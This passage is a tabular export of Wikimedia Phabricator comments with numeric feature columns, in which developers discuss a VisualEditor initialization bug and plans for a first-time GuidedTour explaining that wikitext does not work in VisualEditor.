Yes, but apparently that fix of Roan's didn't fix this issue.",,,1373303412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0384615384615383,0.9615384615384616,"(In reply to comment #2)
QUOTE

Yes, but apparently that fix of Roan's didn't fix this issue."
255206,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"The collapsibleTabs thing was bug 50504, and it's supposed to be fixed now.",,,1373301240,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,"The collapsibleTabs thing was bug 50504, and it's supposed to be fixed now."
255198,VisualEditor: Sometimes not correctly initialized (about 1 in 40-50 pageviews),"FYI Timo/Roan, still getting this, but no longer getting the collapsibleTabs error on the console. :P",,,1372901309,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-i4cg3cr5ipw5q2y7rdrv,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,14.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,4.095238095238095,0.8571428571428571,"FYI Timo/Roan, still getting this, but no longer getting the collapsibleTabs error on the console. :P"
52601,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"It might be nice to show a quick intro message for first-time user, could be implemented via GuidedTour. We may want to distinguish between new vs. experienced users.

Part of the goal of the message would be to help users understand the difference between editing in wikitext and VisualEditor, and to explain that wikitext cannot be entered in VisualEditor. We're seeing a fair number of users enter wikitext in VisualEditor, and adding a first-time explanation might help reduce this issue as we roll out VisualEditor to more wikis.

(Feel free to close this WONTFIX if we decide this issue is not significant in scale enough or the message would be too prominent. But having a first-time use message come up is not that unusual for a major feature change.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T51820}
{T89074}",Unbreak Now!,100.0,1372793160,1442955804.0,PHID-USER-766idcqt4jkngnnuhnrj,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_description,duplicate,True,c1,3,False,False,False,0,,0.0,0.0,0.0,1.0,1.5,8.0,2.0,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,3.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,14.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.5,9.5,1.0,2.5,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.5,12.0,3.5,0.0,0.0,0.0,2.5,0.0,0.0,2.5,0.0,2.0,0.5,0.0,0.5,4.0271739130434785,0.6521739130434783,"It might be nice to show a quick intro message for first-time user, could be implemented via GuidedTour. We may want to distinguish between new vs. experienced users.

Part of the goal of the message would be to help users understand the difference between editing in wikitext and VisualEditor, and to explain that wikitext cannot be entered in VisualEditor. We're seeing a fair number of users enter wikitext in VisualEditor, and adding a first-time explanation might help reduce this issue as we roll out VisualEditor to more wikis.

(Feel free to close this WONTFIX if we decide this issue is not significant in scale enough or the message would be too prominent. But having a first-time use message come up is not that unusual for a major feature change.)

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T51820}
{T89074}"
249025,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:

Okay, since VE implemented this in their own dialog system, instead of us doing it in GuidedTours, I'm going to go ahead and close this.",,,1377128046,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,13.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,11.0,13.0,8.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.473684210526316,0.8157894736842105,"**swalling** wrote:

Okay, since VE implemented this in their own dialog system, instead of us doing it in GuidedTours, I'm going to go ahead and close this."
249020,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #11)
> GuidedTour support for VE is shaping up, so we're about ready to start
> building this. But before we embark on this tour you've suggested, I just
> wanted to confirm you're still thinking it's necessary in light of
> https://gerrit.wikimedia.org/r/#/c/73569/ and bug 49820?

I think we still want a GuidedTour to highlight that the user is now in VisualEditor and not the wikitext editor; a very brief one-time message of ""hey, you're in VisualEditor now - here is the user guide"" or similar should suffice.",,,1374018125,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,1.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,9.0,10.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,13.0,1.0,3.0,7.0,0.0,0.0,0.0,1.0,4.0,1.0,3.0,0.0,4.0,10.0,7.0,0.0,3.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5522388059701493,0.746268656716418,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE

I think we still want a GuidedTour to highlight that the user is now in VisualEditor and not the wikitext editor; a very brief one-time message of ""hey, you're in VisualEditor now - here is the user guide"" or similar should suffice."
249015,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"James - please weigh in. My take is that we still need a first-use tour. We're changing the function of the ""Edit"" link, and just giving the user the wikitext warning isn't quite sufficient in informing them about a change of this magnitude. I don't think we'll need it indefinitely, but while VE is in Beta, doing this as part of the wider language rollout will save us and the community some additional transition pain, I think.",,,1374017295,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,6.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,3.0,9.0,2.0,3.0,12.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,10.0,11.0,4.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,2.0,4.0,1.0,0.0,0.0,3.806451612903226,0.7096774193548387,"James - please weigh in. My take is that we still need a first-use tour. We're changing the function of the ""Edit"" link, and just giving the user the wikitext warning isn't quite sufficient in informing them about a change of this magnitude. I don't think we'll need it indefinitely, but while VE is in Beta, doing this as part of the wider language rollout will save us and the community some additional transition pain, I think."
249007,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:

(In reply to comment #9)
> Let's strike the idea of a distinction between new and experienced users for
> now. Philippe and James make the good point that we can't really tell for
> sure
> whether a user is new, especially when editing as an IP, so in the interest
> of
> simplicity and consistency, I suggest we show the same message to everyone
> for
> a while. We can then later either turn it off completely, or show it only to
> a
> subset.

GuidedTour support for VE is shaping up, so we're about ready to start building this. But before we embark on this tour you've suggested, I just wanted to confirm you're still thinking it's necessary in light of https://gerrit.wikimedia.org/r/#/c/73569/ and bug 49820?",,,1374016361,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,6.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,19.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,7.0,13.0,13.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.395348837209302,0.6627906976744186,"**swalling** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

GuidedTour support for VE is shaping up, so we're about ready to start building this. But before we embark on this tour you've suggested, I just wanted to confirm you're still thinking it's necessary in light of URL and bug 49820?"
249000,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**weskaggs** wrote:

I've had quite a bit of experience with things like this working on the GIMP project, and would like to try to convey a bit of ""wisdom"" that we learned the hard way.

First, there are severe limits on the amount of information a new user, unfamiliar with the interface, can learn from a guided tour.  A tour can give some increased sense of familiarity, but it can't give an ability to do specific tasks.  Above all, a tour can't substitute for simplicity and discoverability.

Second, a guided tour should never be forced on anybody.  It can be offered if that can be done unobtrusively, but should never be required.

Third, if a guided tour exists, it should be available on demand, and able to be repeated as often as desired.  Ideally there should be some sort of ""help"" menu in the interface, offering the tour as one of the entries.

Fourth, if you make a guided tour, you should consider making a video version and putting it on Youtube.  That might seem like a bizarre idea, but many users are very comfortable with that format.

Also I agree that there is a strong need to show a warning to users who try to enter wiki-markup directly (with a link to an extended explanation).",,,1373642100,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,1,,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.6666666666666666,4.666666666666667,1.0,0.0,0.0,1.0,1.3333333333333333,1.0,0.0,0.0,1.0,1.0,0.0,4.333333333333333,12.666666666666666,0.3333333333333333,2.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,3.0,1.6666666666666667,1.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,13.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,8.0,3.3333333333333335,5.0,1.6666666666666667,2.3333333333333335,10.666666666666666,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.3333333333333333,0.0,3.0,12.666666666666666,1.0,0.0,1.3333333333333333,0.0,3.0,0.0,0.3333333333333333,5.666666666666667,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,3.710195588847274,0.6916770703287557,"**weskaggs** wrote:

I've had quite a bit of experience with things like this working on the GIMP project, and would like to try to convey a bit of ""wisdom"" that we learned the hard way.

First, there are severe limits on the amount of information a new user, unfamiliar with the interface, can learn from a guided tour.  A tour can give some increased sense of familiarity, but it can't give an ability to do specific tasks.  Above all, a tour can't substitute for simplicity and discoverability.

Second, a guided tour should never be forced on anybody.  It can be offered if that can be done unobtrusively, but should never be required.

Third, if a guided tour exists, it should be available on demand, and able to be repeated as often as desired.  Ideally there should be some sort of ""help"" menu in the interface, offering the tour as one of the entries.

Fourth, if you make a guided tour, you should consider making a video version and putting it on Youtube.  That might seem like a bizarre idea, but many users are very comfortable with that format.

Also I agree that there is a strong need to show a warning to users who try to enter wiki-markup directly (with a link to an extended explanation)."
248992,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"Let's strike the idea of a distinction between new and experienced users for now. Philippe and James make the good point that we can't really tell for sure whether a user is new, especially when editing as an IP, so in the interest of simplicity and consistency, I suggest we show the same message to everyone for a while. We can then later either turn it off completely, or show it only to a subset.",,,1373070573,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0.0,1.0,1.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,5.0,0.0,11.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,1.0,1.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,11.0,1.0,7.0,2.0,7.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,14.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,3.880952380952381,0.75,"Let's strike the idea of a distinction between new and experienced users for now. Philippe and James make the good point that we can't really tell for sure whether a user is new, especially when editing as an IP, so in the interest of simplicity and consistency, I suggest we show the same message to everyone for a while. We can then later either turn it off completely, or show it only to a subset."
248987,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"We'll probably set this up so it launches when they visit a VE-eligible article, unless they have a hidden preference that shows it has launched before.  The role isSinglePage plays is ensuring no cookie is stored tracking their tour progress.  So even if they navigate away without closing the tour, it won't show again.",,,1373066776,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,6.0,3.0,6.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,4.123076923076923,0.8307692307692308,"We'll probably set this up so it launches when they visit a VE-eligible article, unless they have a hidden preference that shows it has launched before.  The role isSinglePage plays is ensuring no cookie is stored tracking their tour progress.  So even if they navigate away without closing the tour, it won't show again."
248981,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:

(In reply to comment #6)
> I'd suggest:
> 
> If user account was created before July 1, 2013, display the following
> message
> exactly once:
> 
> -
> You are using the VisualEditor, a new rich-text editing interface for
> {{SITENAME}} (currently in beta). <B>Please be aware that wiki syntax (e.g.
> ""[[link to another page]]"") will not work in this editing mode.</B> To use
> the
> old editing interface, click the 'Edit source' tab or section link.
> -
> 
> For extra points, the ""exactly once"" could be managed via a ""Do not show this
> message again"" checkbox. But it shouldn't be handled as a notice that comes
> up
> every single time -- it should definitely be dismissible.
> 
> The reason I'd like to finalize the language soon is to give us enough time
> to
> get translations.

I think this is reasonable.  

Regarding showing a tour only once: I don't think we have to add an explicit checkbox to show it exactly once. Currently the default behavior is...

If a user completes the tour or clicks the X to close we never show it again. So in this case, as a single step tour, clicking the ""Okay"" button or X would end the tour and it would never repeat. That is stored as a hidden preference, so it works across sessions, but not across wikis.

If we really want to tie it to a single page, there is also an isSinglePage variable we can set for the tour, which means no matter what it will only appear on that one page.",,,1373066249,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.0,6.333333333333333,7.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,1.3333333333333333,0.0,5.0,2.0,2.6666666666666665,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,5.0,1.6666666666666667,11.666666666666666,1.3333333333333333,1.6666666666666667,7.333333333333333,0.0,0.0,0.0,0.3333333333333333,4.0,0.3333333333333333,0.6666666666666666,0.0,5.0,7.0,7.666666666666667,0.0,0.6666666666666666,0.0,5.0,0.0,1.0,2.6666666666666665,0.0,1.0,0.0,0.0,0.0,3.387112816140949,0.611111111111111,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think this is reasonable.  

Regarding showing a tour only once: I don't think we have to add an explicit checkbox to show it exactly once. Currently the default behavior is...

If a user completes the tour or clicks the X to close we never show it again. So in this case, as a single step tour, clicking the ""Okay"" button or X would end the tour and it would never repeat. That is stored as a hidden preference, so it works across sessions, but not across wikis.

If we really want to tie it to a single page, there is also an isSinglePage variable we can set for the tour, which means no matter what it will only appear on that one page."
248977,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"I'd suggest:

If user account was created before July 1, 2013, display the following message exactly once:

-
You are using the VisualEditor, a new rich-text editing interface for {{SITENAME}} (currently in beta). <B>Please be aware that wiki syntax (e.g. ""[[link to another page]]"") will not work in this editing mode.</B> To use the old editing interface, click the 'Edit source' tab or section link.
-

For extra points, the ""exactly once"" could be managed via a ""Do not show this message again"" checkbox. But it shouldn't be handled as a notice that comes up every single time -- it should definitely be dismissible.

The reason I'd like to finalize the language soon is to give us enough time to get translations.",,,1373065091,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,1.5,1.5,5.5,1.5,0.0,0.0,0.5,2.0,3.0,0.0,0.0,0.0,1.5,0.0,6.5,8.0,0.0,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,2.5,2.0,1.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.5,1.0,0.0,1.0,0.0,0.5,0.0,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.5,5.5,4.0,8.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,0.5,1.0,0.0,3.5,8.0,2.0,0.0,4.5,0.0,3.5,0.0,0.5,1.5,0.5,1.0,0.0,0.0,2.5,3.5691876750700278,0.786904761904762,"I'd suggest:

If user account was created before July 1, 2013, display the following message exactly once:

-
You are using the VisualEditor, a new rich-text editing interface for {{SITENAME}} (currently in beta). <B>Please be aware that wiki syntax (e.g. ""[[link to another page]]"") will not work in this editing mode.</B> To use the old editing interface, click the 'Edit source' tab or section link.
-

For extra points, the ""exactly once"" could be managed via a ""Do not show this message again"" checkbox. But it shouldn't be handled as a notice that comes up every single time -- it should definitely be dismissible.

The reason I'd like to finalize the language soon is to give us enough time to get translations."
248972,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #2)
> (In reply to comment #1)
> > Adding Steven in case his team wants to help/weigh in.
> 
> TL;DR: 
> 
> Unless VE team wants to own it, I think E3 can handle any tours of basic
> editing functionality (with and without VE). What we have is 1/2 way toward
> the changes Erik requested. 

Awesome; very happy for E3 to lead on this. We'll support as needed, of course.

> We are working on adding better VE support in GuidedTour currently, and I've
> added Matt Flaschen since he's tackling that. We are shooting for feature
> parity with our previous guided tour of editing for the first time delivered
> to GettingStarted editors, with the exception being that there is no Preview
> step to point to in VE. 
> 
> Also, soon we hope to test delivering a guided tour to all newly-registered
> editors, outside the GettingStarted funnel. (Docs:
> https://meta.wikimedia.org/wiki/Research:Guided_tours). Whether we run that
> test on a wiki like Spanish or French instead of English depends on l10n of
> the ""first edit"" tour and whether VE support is ready. S Page is helping
> out with this test, so I've added him as well. 
> 
> If we're interested in pointing out the difference between VE and wikitext to
> users right away, we could easily build that in as step for the guided tours
> delivered via GettingStarted and the general ""first edit"" tour we're
> planning. Currently with the tour that's in production, we just point to the
> Edit button and section edit buttons. 
> 
> I'm open to changing that, but I do think we should be cautious about
> throwing too much complexity at first time editors too soon, by pointing out
> the multiple methods of editing. I added Pau for his input.

Yeah, I'm not convinced I know what we'd want to do.

Maybe just a simple ""you're using VisualEditor"" on first load for experienced users?

Maybe a set of ""add a {reference,template} by clicking here"" ones too? Maybe not?

What do you advise?",,,1372817358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.5,0.0,1.5,3.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,2.5,0.0,6.0,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.5,0.0,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.5,0.0,0.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,23.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,4.0,0.5,0.5,0.0,4.0,7.0,16.0,2.5,2.5,0.0,4.0,0.0,1.5,2.0,0.0,1.5,0.0,0.0,0.0,3.1184210526315788,0.5,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Awesome; very happy for E3 to lead on this. We'll support as needed, of course.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, I'm not convinced I know what we'd want to do.

Maybe just a simple ""you're using VisualEditor"" on first load for experienced users?

Maybe a set of ""add a {reference,template} by clicking here"" ones too? Maybe not?

What do you advise?"
248968,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"If it's semi-experienced users who are entering the wikitext, that could be improved with a tour specific to them (and/or VE documentation).

If it's new users (they are less likely to know wikitext, though) making this mistake, maybe the comparison is necessary.",,,1372801407,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,2.0,0.0,12.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,5.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,4.0,2.0,2.0,4.0,2.0,0.0,0.0,3.982142857142857,0.7678571428571429,"If it's semi-experienced users who are entering the wikitext, that could be improved with a tour specific to them (and/or VE documentation).

If it's new users (they are less likely to know wikitext, though) making this mistake, maybe the comparison is necessary."
248964,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"(In reply to comment #2)
> If we're interested in pointing out the difference between VE and wikitext to
> users right away, we could easily build that in as step for the guided tours
> delivered via GettingStarted and the general ""first edit"" tour we're
> planning.

I don't think that (comparing VE and wikitext) needs to be in the first tour.  It's discoverable in the UI in a consistent way, plus people on-wiki will point to and explain the difference when necessary.",,,1372801273,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-6uhmvpxh7rikbtdr2wns,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,6.0,2.0,14.0,3.0,5.0,6.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4126984126984126,0.746031746031746,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

I don't think that (comparing VE and wikitext) needs to be in the first tour.  It's discoverable in the UI in a consistent way, plus people on-wiki will point to and explain the difference when necessary."
248961,VisualEditor: Provide a GuidedTour for first-time VisualEditor users (ones for both newbies for and experienced editors?),"**swalling** wrote:

(In reply to comment #1)
> Adding Steven in case his team wants to help/weigh in.

TL;DR: 

Unless VE team wants to own it, I think E3 can handle any tours of basic editing functionality (with and without VE). What we have is 1/2 way toward the changes Erik requested. 

Full details: 

